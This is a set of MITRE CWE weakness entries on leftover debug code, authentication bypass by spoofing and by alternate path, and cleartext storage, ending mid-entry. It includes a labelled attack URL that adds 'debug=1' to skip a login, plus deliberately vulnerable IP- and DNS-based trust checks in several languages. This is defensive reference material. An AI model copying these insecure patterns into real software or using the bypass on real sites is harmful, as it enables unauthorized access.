Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.
Build and Compilation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

(bad code)
Example Language: HTML 
<FORM ACTION="/authenticate_login.cgi">
<INPUT TYPE=TEXT name=username>
<INPUT TYPE=PASSWORD name=password>
<INPUT TYPE=SUBMIT>
</FORM>

Then a conforming link will look like:

(informative)
 
http://TARGET/authenticate_login.cgi?username=...&password=...

An attacker can change this to:

(attack code)
 
http://TARGET/authenticate_login.cgi?username=&password=&debug=1

Which will grant the attacker access to the site, bypassing the authentication process.



+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 485 7PK - Encapsulation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1002 SFP Secondary Cluster: Unexpected Entry Points
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1371 ICS Supply Chain: Poorly Documented or Undocumented Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Leftover Debug Code
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
Software Fault Patterns SFP28 Unexpected access points
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2021-07-20 CWE Content Team MITRE
updated Alternate_Terms
2021-03-15 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Description, Name, References, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated Weakness_Ordinalities
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, White_Box_Definitions
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Description, Modes_of_Introduction, Other_Notes, Time_of_Introduction
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-10-29 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-08-01 KDM Analytics
added/updated white box definitions
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2020-02-24 Leftover Debug Code
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CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Access Control

This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 291 Reliance on IP Address for Authentication
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 293 Using Referer Field for Authentication
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 350 Reliance on Reverse DNS Resolution for a Security-Critical Action
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 602 Client-Side Enforcement of Server-Side Security
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Demonstrative Examples

Example 1


The following code authenticates users.

(bad code)
Example Language: Java 
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
authenticated = true;
}

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.



Example 2


Both of these examples check if a request is from a trusted address before responding to the request.

(bad code)
Example Language: C 
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));

while (1) {
memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
}
(bad code)
Example Language: Java 
while(true) {
DatagramPacket rp=new DatagramPacket(rData,rData.length);
outSock.receive(rp);
String in = new String(p.getData(),0, rp.getLength());
InetAddress clientIPAddress = rp.getAddress();
int port = rp.getPort();

if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
out = secret.getBytes();
DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
}
}

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.



Example 3


The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

(bad code)
Example Language: C 
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);

hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
trusted = true;
} else {
trusted = false;
}
(bad code)
Example Language: Java 
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
trusted = true;
}
(bad code)
Example Language: C# 
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
trusted = true;
}

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
S-bus functionality in a home automation product performs access control using an IP allowlist, which can be bypassed by a forged IP address.
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 956 SFP Secondary Cluster: Channel Attack
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be resultant from insufficient verification.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication bypass by spoofing
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Spoofing and Identification", Page 72. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Relationship_Notes
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
Back to top

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product requires authentication, but the product has an alternate path or channel that does not require authentication. Diagram for CWE-288
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 425 Direct Request ('Forced Browsing')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1299 Missing Protection Mechanism for Alternate Hardware Interface
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 420 Unprotected Alternate Channel
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and Design This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

(informative)
Example Language: Verilog 
module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1: 0;
always @ (posedge clk or negedge rst_n)
if (!rst_n)
begin
q <= 32'h0;
data_out <= 32'h0;
end
else
begin
q <= (addr_auth & write_auth) ? data_in: q;
data_out <= q;
end
end
endmodule
(bad code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00) ? 1: 0;

The bugged line of code is repeated in the Bad example above. Weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME, the address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

(good code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.
Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.
Direct request of installation file allows attacker to create administrator accounts.
Attackers may gain additional privileges by directly requesting the web management URL.
Bypass authentication via direct request to named pipe.
User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 721 OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

overlaps Unprotected Alternate Channel
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007 A10 CWE More Specific Failure to Restrict URL Access
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-09-29
(CWE 4.16, 2024-11-19) 		Abhi Balakrishnan
Contributed usability diagram concepts used by the CWE team
+ Modifications
Modification Date Modifier Organization
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Description, Diagram
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Relationships
2008-11-24 CWE Content Team MITRE
updated Observed_Examples
2008-09-08 CWE Content Team MITRE
updated Description, Modes_of_Introduction, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Type
+ Previous Entry Names
Change Date Previous Entry Name
2008-09-09 Authentication Bypass by Alternate Path/Channel
Back to top

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere. Diagram for CWE-312
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

An attacker with access to the system could read sensitive information stored in cleartext (i.e., unencrypted). Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Potential Mitigations
Phase(s) Mitigation

Implementation; System Configuration; Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]

Implementation; System Configuration; Operation
In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 922 Insecure Storage of Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 313 Cleartext Storage in a File or on Disk
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 314 Cleartext Storage in the Registry
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 315 Cleartext Storage of Sensitive Information in a Cookie
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 316 Cleartext Storage of Sensitive Information in Memory
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 317 Cleartext Storage of Sensitive Information in GUI
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 318 Cleartext Storage of Sensitive Information in Executable
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 526 Cleartext Storage of Sensitive Information in an Environment Variable
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
